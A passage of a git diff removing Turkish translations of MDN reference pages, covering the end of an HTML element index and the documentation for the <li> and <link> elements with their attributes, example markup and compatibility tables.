<li>{{ HTMLElement("hr") }}</li> - <li>{{ HTMLElement("html") }}</li> -</ul> -<span id="I">I</span> - -<ul> - <li>{{ HTMLElement("i") }}</li> - <li>{{ HTMLElement("iframe") }}</li> - <li>{{ HTMLElement("img") }}</li> - <li>{{ HTMLElement("input") }}</li> - <li>{{ HTMLElement("ins") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("isindex") }}</s></li> -</ul> -<span id="J">J K</span> - -<ul> - <li>{{ HTMLElement("kbd") }}</li> - <li>{{ HTMLElement("keygen") }}</li> -</ul> -<span id="L">L</span> - -<ul> - <li>{{ HTMLElement("label") }}</li> - <li>{{ HTMLElement("legend") }}</li> - <li>{{ HTMLElement("li") }}</li> - <li>{{ HTMLElement("link") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("listing") }}</s></li> -</ul> -<span id="M">M</span> - -<ul> - <li>{{ HTMLElement("map") }}</li> - <li class="html5">{{ HTMLElement("mark") }}</li> - <li><s class="nonStdElement">{{ HTMLElement("marquee") }}</s></li> - <li class="html5">{{ HTMLElement("menu") }}</li> - <li>{{ HTMLElement("meta") }}</li> - <li class="html5">{{ HTMLElement("meter") }}</li> -</ul> -<span id="N">N</span> - -<ul> - <li class="html5">{{ HTMLElement("nav") }}</li> - <li>{{ HTMLElement("nobr") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("noframes") }}</s></li> - <li>{{ HTMLElement("noscript") }}</li> -</ul> -<span id="O">O</span> - -<ul> - <li>{{ HTMLElement("object") }}</li> - <li>{{ HTMLElement("ol") }}</li> - <li>{{ HTMLElement("optgroup") }}</li> - <li>{{ HTMLElement("option") }}</li> - <li class="html5">{{ HTMLElement("output") }}</li> -</ul> -<span id="P">P</span> - -<ul> - <li>{{ HTMLElement("p") }}</li> - <li>{{ HTMLElement("param") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("plaintext") }}</s></li> - <li>{{ HTMLElement("pre") }}</li> - <li class="html5">{{ HTMLElement("progress") }}</li> -</ul> -<span id="Q">Q</span> - -<ul> - <li>{{ HTMLElement("q") }}</li> -</ul> -<span id="R">R</span> - -<ul> - <li class="html5">{{ HTMLElement("rp") }}</li> - <li class="html5">{{ HTMLElement("rt") }}</li> - <li class="html5">{{ HTMLElement("ruby") }}</li> -</ul> -<span id="S">S</span> - -<ul> - <li>{{ HTMLElement("s") }}</li> - <li>{{ HTMLElement("samp") }}</li> - <li>{{ HTMLElement("script") }}</li> - <li class="html5">{{ HTMLElement("section") }}</li> - <li>{{ HTMLElement("select") }}</li> - <li>{{ HTMLElement("small") }}</li> - <li class="html5">{{ HTMLElement("source") }}</li> - <li><s class="nonStdElement">{{ HTMLElement("spacer") }}</s></li> - <li>{{ HTMLElement("span") }}</li> - <li><s class="deprecatedElement obsoleteElement">{{ HTMLElement("strike") }}</s></li> - <li>{{ HTMLElement("strong") }}</li> - <li>{{ HTMLElement("style") }}</li> - <li>{{ HTMLElement("sub") }}</li> - <li class="html5">{{ HTMLElement("summary") }}</li> - <li>{{ HTMLElement("sup") }}</li> -</ul> -<span id="T">T</span> - -<ul> - <li>{{ HTMLElement("table") }}</li> - <li>{{ HTMLElement("tbody") }}</li> - <li>{{ HTMLElement("td") }}</li> - <li>{{ HTMLElement("textarea") }}</li> - <li>{{ HTMLElement("tfoot") }}</li> - <li>{{ HTMLElement("th") }}</li> - <li>{{ HTMLElement("thead") }}</li> - <li class="html5">{{ HTMLElement("time") }}</li> - <li>{{ HTMLElement("title") }}</li> - <li>{{ HTMLElement("tr") }}</li> - <li class="html5">{{ HTMLElement("track") }}</li> - <li><s class="obsoleteElement">{{ HTMLElement("tt") }}</s></li> -</ul> -<span id="U">U</span> - -<ul> - <li>{{ HTMLElement("u") }}</li> - <li>{{ HTMLElement("ul") }}</li> -</ul> -<span id="V">V</span> - -<ul> - <li>{{ HTMLElement("var") }}</li> - <li class="html5">{{ HTMLElement("video") }}</li> -</ul> -<span id="W">W</span> - -<ul> - <li>{{ HTMLElement("wbr") }}</li> -</ul> -<span id="X">X Y Z </span> - -<ul> - <li><span id="X"><s class="deprecatedElement obsoleteElement">{{ HTMLElement("xmp") }}</s></span></li> -</ul> -</div> - -<p> </p> diff --git a/files/tr/web/html/element/li/index.html b/files/tr/web/html/element/li/index.html deleted file mode 100644 index cf4341e5c4..0000000000 --- a/files/tr/web/html/element/li/index.html +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: <li> -slug: Web/HTML/Element/li -translation_of: Web/HTML/Element/li -original_slug: HTML/Element/li ---- -<p>{{HTMLRef}}</p> - -<p>The <strong>HTML <code><li></code> elementi</strong>, liste nesnesİ için kullanılır. Bir alt element içermelidir: bir sıralı liste ({{HTMLElement("ol")}}), bir sırasız liste ({{HTMLElement("ul")}}) veya bir menü ({{HTMLElement("menu")}}). Menülerde ve sırasız listelerde, listenen ögeler bir In menus and unordered lists, list items are usually displayed using bullet points. In ordered lists, they are usually displayed with an ascending counter on the left, such as a number or letter.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th> - <td>None.</td> - </tr> - <tr> - <th scope="row">Permitted content</th> - <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>.</td> - </tr> - <tr> - <th scope="row">Tag omission</th> - <td>The <span title="syntax-end-tag">end tag</span> can be omitted if the list item is immediately followed by another {{HTMLElement("li")}} element, or if there is no more content in its parent element.</td> - </tr> - <tr> - <th scope="row">Permitted parent elements</th> - <td>An {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, or {{HTMLElement("menu")}} element. Though not a conforming usage, the obsolete {{HTMLElement("dir")}} can also be a parent.</td> - </tr> - <tr> - <th scope="row">DOM interface</th> - <td>{{domxref("HTMLLIElement")}}</td> - </tr> - <tr> - <th scope="row">Element type</th> - <td>Block</td> - </tr> - </tbody> -</table> - -<h2 id="Attributes">Attributes</h2> - -<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p> - -<dl> - <dt>{{htmlattrdef("value")}}</dt> - <dd>This integer attribute indicates the current ordinal value of the list item as defined by the {{HTMLElement("ol")}} element. The only allowed value for this attribute is a number, even if the list is displayed with Roman numerals or letters. List items that follow this one continue numbering from the value set. The <strong>value</strong> attribute has no meaning for unordered lists ({{HTMLElement("ul")}}) or for menus ({{HTMLElement("menu")}}). - <div class="note"><strong>Note</strong>: This attribute was deprecated in HTML4, but reintroduced in HTML5.</div> - - <div class="note"> - <p><strong>Note:</strong> Prior to {{Gecko("9.0")}}, negative values were incorrectly converted to 0. Starting in {{Gecko("9.0")}} all integer values are correctly parsed.</p> - </div> - </dd> - <dt>{{htmlattrdef("type")}} {{Deprecated_inline}}</dt> - <dd>This character attribute indicates the numbering type: - <ul> - <li><code>a</code>: lowercase letters</li> - <li><code>A</code>: uppercase letters</li> - <li><code>i</code>: lowercase Roman numerals</li> - <li><code>I</code>: uppercase Roman numerals</li> - <li><code>1</code>: numbers</li> - </ul> - This type overrides the one used by its parent {{HTMLElement("ol")}} element, if any. - - <div class="note"><strong>Usage note:</strong> This attribute has been deprecated: use the CSS {{cssxref("list-style-type")}} property instead.</div> - </dd> -</dl> - -<h2 id="Examples">Examples</h2> - -<pre class="brush: html"><ol> - <li>first item</li> - <li>second item</li> - <li>third item</li> -</ol> -</pre> - -<p>The above HTML will output:</p> - -<ol> - <li>first item</li> - <li>second item</li> - <li>third item</li> -</ol> - -<pre class="brush: html"><ol type="I"> - <li value="3">third item</li> - <li>fourth item</li> - <li>fifth item</li> -</ol> -</pre> - -<p>The above HTML will output:</p> - -<ol start="3" style="list-style-type: upper-roman;"> - <li>third item</li> - <li>fourth item</li> - <li>fifth item</li> -</ol> - -<pre class="brush: html"><ul> - <li>first item</li> - <li>second item</li> - <li>third item</li> -</ul></pre> - -<ul> - <li>first item</li> - <li>second item</li> - <li>third item</li> -</ul> - -<p>For more detailed examples, see the <a href="/en-US/docs/Web/HTML/Element/ol#Examples"><ol></a> and <a href="/en-US/docs/Web/HTML/Element/ul#Examples"><ul></a> pages.</p> - -<h2 id="Specifications" name="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-li-element', '<li>')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-li-element', '<li>')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('HTML4.01', 'lists.html#h-10.2', '<li>')}}</td> - <td>{{Spec2('HTML4.01')}}</td> - <td>The <code>type</code> attribute has been deprecated.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("1.0")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("1.0")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>Other list-related HTML Elements: {{HTMLElement("ul")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}}, and the obsolete {{HTMLElement("dir")}};</li> - <li>CSS properties that may be specially useful to style the <code><li></code> element: - <ul> - <li>the {{cssxref("list-style")}} property, to choose the way the ordinal is displayed,</li> - <li><a href="/Web/Guide/CSS/Counters">CSS counters</a>, to handle complex nested lists,</li> - <li>the {{cssxref("margin")}} property, to control the indent of the list item.</li> - </ul> - </li> -</ul> - -<div> </div> diff --git a/files/tr/web/html/element/link/index.html b/files/tr/web/html/element/link/index.html deleted file mode 100644 index e58750140c..0000000000 --- a/files/tr/web/html/element/link/index.html +++ /dev/null @@ -1,403 +0,0 @@ ---- -title: '<link>: Dış Kaynak Bağlantısı öğesi' -slug: Web/HTML/Element/link -tags: - - Bağlantı - - Eleman - - HTML - - HTML belgesi meta verileri - - Referans - - Web - - Web Performansı - - meta veri -translation_of: Web/HTML/Element/link -original_slug: HTML/Element/link ---- -<div>{{HTMLRef}}</div> - -<p><strong>HTML Dış Kaynak Bağlantısı öğesi (<code><link></code>)</strong> geçerli belge ile harici kaynak arasındaki ilişkileri belirtir. Bu eleman en çok {{Glossary ("CSS", "stylesheets")}} bağlantısına kullanılır, ancak site simgeleri (hem "favicon" stil ikonları hem de ana ekran için simgeler ve mobil cihazlardaki uygulamalar) oluşturmak için de kullanılır.</p> - -<div>{{EmbedInteractiveExample("pages/tabbed/link.html")}}</div> - -<div class="hidden">Bu etkileşimli örneğin kaynağı bir GitHub deposunda saklanır. İnteraktif örnekler projesine katkıda bulunmak istiyorsanız, lütfen <a href="https://github.com/mdn/interactive-examples"> https://github.com/mdn/interactive-examples</a> ve bize bir çekme isteği gönderin.</div> - -<p>Harici bir stil sayfasını bağlamak için, {{HTMLElement ("head")}} içine şu şekilde bir <code><link></code> öğesi ekleyin:</p> - -<pre class="brush: html no-line-numbers"><link href="main.css" rel="stylesheet"></pre> - -<p>Bu basit örnek, <code>href</code> özniteliği ve <code>stylesheet</code> değerine sahip bir <code>rel</code> özniteliğindeki stil sayfasının yolunu sağlar. <code>rel</code> "ilişki" anlamına gelir ve büyük olasılıkla <code><link></code> öğesinin temel özelliklerinden biridir - değer, bağlandığı öğenin bağlantıyla nasıl belge içeren ilişkilendirildiğini gösterir. <a href="/en-US/docs/Web/HTML/Link_types">Bağlantı türleri</a> referansımızdan göreceğiniz gibi, birçok farklı ilişki türü vardır.</p> - -<p>Karşılaştığınız başka yaygın türler de var. Örneğin, sitenin favicon'una bir bağlantı:</p> - -<pre class="brush: html no-line-numbers"><link rel="icon" href="favicon.ico"></pre> - -<p>Çeşitli mobil platformlarda kullanım için özel simge türlerini belirtmek için kullanılan, örneğin <code> rel </code> değerleri olan başka bir simge vardır;</p> - -<pre class="brush: html no-line-numbers"><link rel="apple-touch-icon-precomposed" sizes="114x114" - href="apple-icon-114.png" type="image/png"></pre> - -<p><code>sizes</code> niteliği simge boyutunu belirtirken, <code> type </code> bağlanan kaynağın MIME türünü içerir. Bunlar, tarayıcının mevcut en uygun ikonu seçmesine izin vermek için faydalı ipuçları sunar.</p> - -<p>Ayrıca bir <code> media </code> özniteliği içinde bir ortam türü veya sorgu da sağlayabilirsiniz; bu kaynak daha sonra yalnızca ortam koşulu doğru olduğunda yüklenir. Örneğin:</p> - -<pre class="brush: html no-line-numbers"><link href="print.css" rel="stylesheet" media="print"> -<link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"></pre> - -<p>Bazı ilginç yeni performans ve güvenlik özellikleri de <code><link&gt</code> öğesine eklendi. Bu örneği ele alalım:</p> - -<pre class="brush: html no-line-numbers"><link rel="preload" href="myFont.woff2" as="font" - type="font/woff2" crossorigin="anonymous"></pre> - -<p><code>rel</code> ve <code>preload</code> değeri, tarayıcının bu kaynağı önceden yüklemesi gerektiğini belirtir (bkz. <a href="/en-US/docs/Web/HTML/Preloading_content">rel="preload" içeriği önceden yükleme</a>) ile daha fazla ayrıntı için), <code>as</code> niteliği, getirilen belirli bir içerik sınıfını gösterir. <code>crossorigin</code> niteliği, kaynağın bir {{Glossary("CORS")}} isteği ile alınıp alınmayacağını belirtir.</p> - -<p>Diğer kullanım notları:</p> - -<ul> - <li>Bir <code><link></code> öğesi, <a href="https://html.spec.whatwg.org/multipage/links.html#body-ok">bağlantı türü </a> olup olmadığına bağlı olarak, {{HTMLElement("head")}} veya {{HTMLElement("body")}} <strong>body-ok</strong> olan öğesinde oluşabilir. Örneğin, <code>stylesheet</code> bağlantı türü body-ok'dur ve bu nedenle gövdede <code><link rel="stylesheet"></code> izin verilir. Ancak, bu izlenecek iyi bir uygulama değildir; <code><link></code> öğelerinizi gövde içeriğinizden ayırmak, bunları <code><head></code> içine yerleştirmek daha mantıklı olur.</li> - <li>Bir siteye favicon oluşturmak için <code><link></code> kullanırken siteniz güvenliğini artırmak için bir İçerik Güvenliği Politikası (CSP) kullanıyorsa, politika favicon'a uygulanır. Yüklenmeyen favicon ile ilgili sorunlarla karşılaşırsanız, {{HTTPHeader("Content-Security-Policy")}} başlığının <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src"><code>img-src</code> yönergesi</a> buna erişimi engellemiyor.</li> - <li>HTML ve XHTML özellikleri, <code><link></code> öğesi için olay işleyicilerini tanımlar, ancak bunların nasıl kullanılacağı açık değildir.</li> - <li>XHTML 1.0 altında, <code><link></code> gibi boş öğeler sonda eğik çizgi gerektirir: <code><link /></code>.</li> - <li>WebTV, <code>rel</code> için <code>next</code> değerinin bir sonraki sayfada bir belge dizisinde önyüklenmesini destekler.</li> -</ul> - -<h2 id="Öznitelikler">Öznitelikler</h2> - -<p>Bu öğe <a href="/en-US/docs/Web/HTML/Global_attributes">genel özellikleri</a> içerir.</p> - -<dl> - <dt>{{HTMLAttrDef("as")}}</dt> - <dd>Bu özellik yalnızca <code><link></code> öğesinde <code> rel="preload"</code> veya <code>rel="prefetch"</code> ayarlanmışsa kullanılır. <code><link></code> tarafından yüklenen içeriğin türünü belirtir, istek eşleştirme, doğru <a href="/en-US/docs/Web/HTTP/CSP">içerik güvenlik politikasının uygulanması</a> ve doğru {{HTTPHeader("Kabul et")}} ayarlarının yapılması için gerekli olan istek başlığı. Ayrıca, <code>rel="preload"</code> bunu istek önceliklendirme için bir sinyal olarak kullanır. Aşağıdaki tabloda, bu özellik için geçerli değerler ve bunların uygulandıkları öğeler veya kaynaklar listelenmiştir.</dd> - <dd> - <table class="standard-table"> - <thead> - <tr> - <th scope="col">Değeri</th> - <th scope="col">Şunlara Uygulanır</th> - </tr> - </thead> - <tbody> - <tr> - <td>audio</td> - <td><code><audio></code> elementler</td> - </tr> - <tr> - <td>document</td> - <td><code><iframe></code> ve <code><frame></code> elements</td> - </tr> - <tr> - <td>embed</td> - <td><code><embed></code> elementler</td> - </tr> - <tr> - <td>fetch</td> - <td> - <p>fetch, XHR</p> - - <div class="blockIndicator note"> - <p>Bu değer, crossorigin niteliğini içermek için <code><link></code> değerini de gerektirir.</p> - </div> - </td> - </tr> - <tr> - <td>font</td> - <td>CSS @font-face</td> - </tr> - <tr> - <td>image</td> - <td><code><img></code> ve <code><picture></code> srcset veya görüntü kümesi özniteliklerine sahip öğeler, SVG <code><image></code> öğelerini, CSS <code>*-image</code> kurallar</td> - </tr> - <tr> - <td>object</td> - <td><code><object></code> elemanlar</td> - </tr> - <tr> - <td>script</td> - <td><code><script></code> elemanlar, Çalışan <code>importScripts</code></td> - </tr> - <tr> - <td>style</td> - <td><code><link rel=stylesheet></code> elemanlar, CSS <code>@import</code></td> - </tr> - <tr> - <td>track</td> - <td><code><track></code> elemanlar</td> - </tr> - <tr> - <td>video</td> - <td><code><video></code> elemanlar</td> - </tr> - <tr> - <td>worker</td> - <td>Worker, SharedWorker</td> - </tr> - </tbody> - </table> - </dd> - <dt>{{HTMLAttrDef("crossorigin")}}</dt> - <dd>Bu numaralandırılmış öznitelik, kaynak alınırken {{Glossary("CORS")}} kullanılması gerektiğini gösterir. <a href="/en-US/docs/Web/HTML/CORS_Enabled_Image">CORS etkin görüntüler</a>, <em>lekelenmeden</em> {{HTMLElement("canvas")}} öğesinde yeniden kullanılabilir. İzin verilen değerler: - <dl> - <dt><code>anonymous</code></dt> - <dd>Çapraz kökenli bir istek (yani, {{HTTPHeader("Origin")}} HTTP başlığına sahip) yapılır, ancak hiçbir kimlik bilgisi gönderilmez (yani, çerez, X.509 sertifikası veya HTTP Temel kimlik doğrulaması) gönderilmez. Sunucu kaynak siteye kimlik bilgileri vermezse ({{HTTPHeader("Access-Control-Allow-Origin")}} HTTP başlığını ayarlayarak) kaynak etiketlenecek ve kullanımı kısıtlanacaktır.</dd> - <dt><code>use-credentials</code></dt> - <dd>Gönderilen bir kimlik bilgileriyle birlikte (örneğin, bir çerez, sertifika ve/veya HTTP Temel kimlik doğrulaması gerçekleştirilir) bir çapraz orijinallik isteği (ör. <code>taimted</code> HTTP başlığına sahip) Sunucu kaynak siteye kimlik bilgileri vermezse ({{HTTPHeader("Access-Control-Allow-Credentials")}} HTTP başlığı), kaynak <em>etiketlenir</em> ve kullanımı kısıtlanır.</dd> - </dl> - Öznitelik yoksa, kaynak {{Glossary("CORS")}} isteği olmadan (yani, <code>Origin</code> HTTP üstbilgisini göndermeden) tatsız kullanımını engeller. Geçersiz ise, numaralandırılmış <strong>anonim</strong> anahtar kelimesi kullanılmış gibi kullanılır. Ek bilgi için <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS ayarları niteliklerine</a> bakın.</dd> - <dt>{{HTMLAttrDef("disabled")}}</dt> - <dd> - <p>Yalnızca <code>rel="stylesheet"</code> için <code>disabled</code> Boolean özelliği, açıklanan stil sayfasının belgeye yüklenip yüklenmemesi gerektiğini belirtir. HTML yüklendiğinde <code>disabled</code> belirtilirse, sayfa yüklenirken stil sayfası yüklenmez. Bunun yerine, <code> disabled </code> özelliği <code>false</code> olarak değiştirildiyse veya kaldırılırsa, stil sayfası isteğe bağlı olarak yüklenir.</p> - - <p>Ancak, stil sayfası yüklendikten sonra, <code>disabled</code> özelliğinin değerinde yapılan değişikliklerin artık {{domxref("StyleSheet.disabled")}} özelliğinin değeriyle hiçbir ilişkisi yoktur. Bunun yerine bu özelliğin değerini değiştirmek, belgeye uygulanan stil sayfası formunu etkinleştirir ve devre dışı bırakır.</p> - - <p>Bu, <code>StyleSheet</code>'in <code>disabled</code> özelliğinden farklıdır; <code>true</code> olarak değiştirmek, stil sayfasını belgenin {{domxref("document.styleSheets")}} listesinden kaldırır ve <code>false</code> konumuna geri döndüğünde stil sayfasını otomatik olarak yeniden yüklemez.</p> - </dd> - <dt>{{HTMLAttrDef("href")}}</dt> - <dd>Bu özellik, bağlı kaynağın {{Glossary("URL")}} belirtir. Bir URL mutlak veya göreceli olabilir.</dd> - <dt>{{HTMLAttrDef("hreflang")}}</dt> - <dd>Bu özellik, bağlı kaynağın dilini gösterir. Tamamen tavsiye niteliğindedir. İzin verilen değerler <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a> tarafından belirlenir. Bu özelliği yalnızca {{HTMLAttrxRef("href", "a")}} özelliği varsa kullanın.</dd> - <dt id="name-attribute">{{HTMLAttrDef("importance")}} {{Experimental_Inline}}</dt> - <dd>Kaynağın göreceli önemini gösterir. Öncelikli ipuçları, değerler kullanılarak verilir:</dd> - <dd> - <p><strong><code>auto</code></strong>: Indicates <strong>no preference</strong>. Tarayıcı, kaynağın önceliğine karar vermek için kendi sezgisel bilgilerini kullanabilir.</p> - - <p><strong><code>high</code></strong>: Tarayıcıya kaynağın <strong> yüksek </strong> öncelikli olduğunu gösterir.</p> - - <p><strong><code>low</code></strong>: Tarayıcıya, kaynağın <strong> düşük </strong> öncelikli olduğunu gösterir.</p> - - <div class="blockIndicator note"> - <p><strong>Not:</strong> <code>importance</code> özelliği, yalnızca <code>rel="preload"</code> veya <code><link></code> öğesi için kullanılabilir <code>rel="prefetch"</code> var.</p> - </div> - </dd> - <dt>{{HTMLAttrDef("integrity")}} {{Experimental_Inline}}</dt> - <dd>Tarayıcıya getirmesini söylediğiniz kaynağın (dosya) temel 64 kodlu şifreleme karması satır içi meta verilerini içerir. Tarayıcı, alınan kaynağın beklenmedik bir şekilde işleme alınmadığını doğrulamak için bunu kullanabilir. <a href="/en-US/docs/Web/Security/Subresource_Integrity">Alt Kaynak Bütünlüğü</a>'ne bakın.</dd> - <dt>{{HTMLAttrDef("media")}}</dt> - <dd>Bu özellik, bağlı kaynağın uygulanacağı medyayı belirtir. Değeri bir medya türü <a href="/en-US/docs/Web/CSS/Media_queries">medya sorgusu</a> olmalı. Bu özellik temel olarak harici stil sayfalarına bağlanırken kullanışlıdır - kullanıcı aracısının üzerinde çalıştığı cihaz için en iyi uyarlanmış olanı seçmesini sağlar. - <div class="blockIndicator note"> - <p><strong>Notlar:</strong></p> - - <ul> - <li>HTML 4'te bu, yalnızca boşluklarla ayrılmış basit bir medya açıklaması hazır bilgileri listesi olabilir; yani, <a href="/en-US/docs/Web/CSS/@media"> medya türleri ve grupları</a>, <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code> gibi bu özellik için değer olarak tanımlandığı ve izin verildiği yerlerde. HTML5 bunu, HTML 4'ün izin verilen değerlerinin yerini alan herhangi bir <a href="/en-US/docs/Web/CSS/Media Queries">medya sorgusu</a> türüne genişletmiştir.</li> - <li><a href="/en-US/docs/Web/CSS/Media_queries">CSS3 Medya Sorguları</a>'nı desteklemeyen tarayıcılar mutlaka yeterli bağlantıyı tanımayacaktır; HTML 4'te tanımlanan kısıtlı ortam sorgusu kümesi olan geri dönüş bağlantılarını ayarlamayı unutmayın.</li> - </ul> - </div> - </dd> - <dt>{{HTMLAttrDef("referrerpolicy")}} {{Experimental_Inline}}</dt> - <dd>Kaynağı alırken hangi yönlendiricinin kullanılacağını belirten bir dize: - <ul> - <li><code>no-referrer</code> {{HTTPHeader("Referer")}} başlığının gönderilmeyeceği anlamına gelir.</li> - <li><code>no-referrer-when-downgrade</code> TLS (HTTPS) olmadan bir başlangıç noktasına giderken {{HTTPHeader("Referer")}} başlığının gönderilmeyeceği anlamına gelir. Başka türlü bir politika belirtilmemişse, bu bir kullanıcı aracısının varsayılan davranışıdır.</li> - <li><code>origin</code> Yönlendiricinin, kabaca şema, ana bilgisayar ve bağlantı noktası olan sayfanın orijini olacağı anlamına gelir.</li> - <li><code>origin-when-cross-origin</code> diğer kaynaklara navigasyonun şema, ev sahibi ve liman ile sınırlı olacağı, aynı kaynaktaki navigasyonun yönlendirenin yolunu içereceği anlamına gelir.</li> - <li><code>unsafe-url</code> yönlendirenin orijini ve yolu içereceği anlamına gelir (ancak bölüm, parola veya kullanıcı adı değil). Bu durum güvensizdir, çünkü TLS korumalı kaynaklardan güvensiz kökenlere kökeni ve yolu sızdırabilir.</li> - </ul> - </dd> - <dt>{{HTMLAttrDef("rel")}}</dt> - <dd>Bu özellik, bağlı belgenin geçerli belgeyle ilişkisini adlandırır. Özelliğin, <a href="/en-US/docs/Web/HTML/Link_types">bağlantı türü değerlerinin</a> boşlukla ayrılmış bir listesi olması gerekir.</dd> - <dt>{{HTMLAttrDef("sizes")}}</dt> - <dd>Bu özellik, kaynakta bulunan görsel medya için simgelerin boyutlarını tanımlar. Yalnızca {{HTMLAttrxRef("rel", "link")}} bir <code>icon</code> değeri veya Apple'ın <code>apple-touch-icon</code> gibi standart olmayan bir tür içeriyorsa mevcut olmalıdır. Aşağıdaki değerlere sahip olabilir: - <ul> - <li><code>any</code>, yani, simge, <code>image/svg+xml</code> gibi bir vektör formatında olduğu gibi herhangi bir boyuta ölçeklenebilir.</li> - <li>her biri <code> <em><piksel cinsinden genişlik></em>x<em><piksel cinsinden yükseklik></em></code> veya <code><biçiminde bir beyaz boşlukla ayrılmış boyut listesi <em><piksel cinsinden="" genişlik=""></piksel></em>X<em><piksel cinsinden yükseklik></em></code>. Bu boyutların her biri kaynakta bulunmalıdır.</li> - </ul> - - <div class="blockIndicator note"> - <p><strong>Not:</strong> Çoğu simge formatı yalnızca bir simge saklayabilir; bu nedenle çoğu zaman {{HTMLAttrxRef("sizes")}} özelliği yalnızca bir giriş içerir. MS’in ICO formatı Apple’ın ICNS’sinin yaptığı gibi. ICO daha her yerde bulunur, bu nedenle eğer tarayıcılar arası destek kaygılıysa (özellikle eski IE sürümleri için) bu biçimi kullanmalısınız.</p> - </div> - </dd> - <dt>{{HTMLAttrDef("title")}}</dt> - <dd><code>title</code> niteliğinin <code><link></code> öğesinde özel bir semantiği vardır. Bir <code><link rel="stylesheet"></code> üzerinde kullanıldığında, bir <a href="/en-US/docs/Web/CSS/Alternative_style_sheets"> tercih edilen veya alternatif bir stil sayfasını</a> tanımlar. Yanlış kullanılması, <a href="/en-US/docs/Correctly_Using_Titles_With_External_Stylesheets">stil sayfasının yok sayılmasına neden olabilir</a>.</dd> - <dt>{{HTMLAttrDef("type")}}</dt> - <dd>Bu özellik, bağlantılı içeriğin türünü tanımlamak için kullanılır. Özelliğin değeri, <strong>metin/html</strong>, <strong>metin/css</strong> vb. gibi bir MIME türü olmalıdır. Bu özelliğin yaygın kullanımı, başvurulan stil sayfasının türünü tanımlamaktır (örneğin, <strong>metin/css</strong> gibi), ancak CSS’nin web’de kullanılan tek stil sayfası dili olduğu göz önüne alındığında, yalnızca <code>type</code> niteliğini atlayın, ancak aslında şu anda pratik önerilir. Tarayıcının yalnızca desteklediği dosya türlerini indirdiğinden emin olmak için <code>rel="preload"</code> bağlantı türlerinde de kullanılır.</dd> -</dl> - -<h3 id="Standart_olmayan_özellikler">Standart olmayan özellikler</h3> - -<dl> - <dt>{{HTMLAttrDef("methods")}} {{Non-standard_Inline}}</dt> - <dd>Bu özelliğin değeri, bir nesnede gerçekleştirilebilecek işlevler hakkında bilgi sağlar. Değerler genellikle kullanıldığında HTTP protokolü tarafından verilir, ancak (<strong>başlık</strong> özniteliği ile benzer nedenlerle) bağlantıya önceden danışma bilgilerini eklemek yararlı olabilir. Örneğin, tarayıcı belirtilen yöntemlerin bir işlevi olarak bir bağlantının farklı bir oluşturulmasını seçebilir; aranabilir bir şey farklı bir simge alabilir veya bir dış link mevcut siteden ayrıldığının bir göstergesi olabilir. Bu özellik iyi tanımlanmamıştır ve tanımlayıcı tarayıcı Internet Explorer 4 tarafından bile desteklenmemektedir.</dd> - <dt>{{HTMLAttrDef("prefetch")}} {{Non-standard_Inline}} {{secureContext_inline}}</dt> - <dd>Bu özellik, bir sonraki gezinme işleminde gerekli olabilecek bir kaynağı ve kullanıcı aracısının onu alması gerektiğini tanımlar. Bu, ileride kaynak istendiğinde kullanıcı aracısının daha hızlı yanıt vermesini sağlar.</dd> - <dt>{{HTMLAttrDef("target")}} {{Non-standard_Inline}}</dt> - <dd>Tanımlanmış bağlantı ilişkisine sahip olan veya herhangi bir bağlantılı kaynağın oluşturulmasını gösterecek olan çerçeve veya pencere adını tanımlar.</dd> -</dl> - -<h3 id="Eski_özellikler">Eski özellikler</h3> - -<dl> - <dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt> - <dd>Bu özellik, bağlı kaynağın karakter kodlamasını tanımlar. Değer, {{rfc(2045)}}'de tanımlandığı gibi karakter kümelerinin boşluk ve/veya virgülle ayrılmış bir listesidir. Varsayılan değer şudur: <code>iso-8859-1</code>. - <div class="note"><strong>Kullanım notu:</strong> Bu eski özellik ile aynı efekti üretmek için, bağlı kaynak üzerinde {{HTTPHeader("Content-Type")}} HTTP başlığını kullanın.</div> - </dd> - 